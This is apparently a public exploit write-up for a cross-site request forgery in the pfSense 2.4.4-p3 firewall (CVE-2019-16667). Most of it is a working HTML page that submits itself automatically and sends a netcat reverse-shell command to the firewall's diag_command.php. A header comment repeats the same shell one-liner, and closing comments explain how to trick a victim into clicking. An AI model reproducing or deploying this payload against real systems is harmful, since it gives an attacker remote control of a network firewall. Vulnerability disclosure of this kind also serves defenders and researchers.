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# Exploit Title: pfSense 2.4.4-p3 - Cross-Site Request Forgery
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# Date: 2019-09-27
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# Exploit Author: ghost_fh
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# Vendor Homepage: https://www.pfsense.org/
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# Software Link: https://www.pfsense.org/download/index.html?section=downloads
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# Version: Till 2.4.4-p3
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# Tested on: freebsd
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# CVE : CVE-2019-16667
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# Vulnerability Description :- The pfsense firewall is vulnerable to RCE
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# chained with CSRF as it uses `csrf magic` library since it allows to tamper
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# the CSRF token values submitted when processing the form requests. Due to
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# this flaw, an attacker can exploit this vulnerability by crafting new page
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# that contains attacker's controlled input such as a "reverse shell" (eg:
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# `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port
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# >/tmp/f`token value) in the form and entice the victims to click
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# on the crafted link via social engineering methods. Once the victim clicks
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# on the link (try again button in this case), the attacker can take the
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# lateral control of the victim's machine and malicious actions can be
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# performed on the victim's behalf.
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<!DOCTYPE html>
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<html>
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<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
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<form id="myForm" action="https://pfsense_ip/diag_command.php" method="POST">
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<input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
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nc attacker_ip attacker_port >/tmp/f">
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<input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
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2>&1|nc attacker_ip attacker_port >/tmp/f">
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<input type=hidden name="dlPath" value="">
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<input type=hidden name="txtPHPCommand" value="">
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<input type="hidden" name="submit" value="EXEC">
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</form>
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</body>
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</html>
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# Create a malicious page containing the above values and once user clicks on malicious link,
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# he will be redirected to https://pfsense_ip/diag_command.php page.
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# Victim will be greeted with the "Try again" button.
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# Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim. |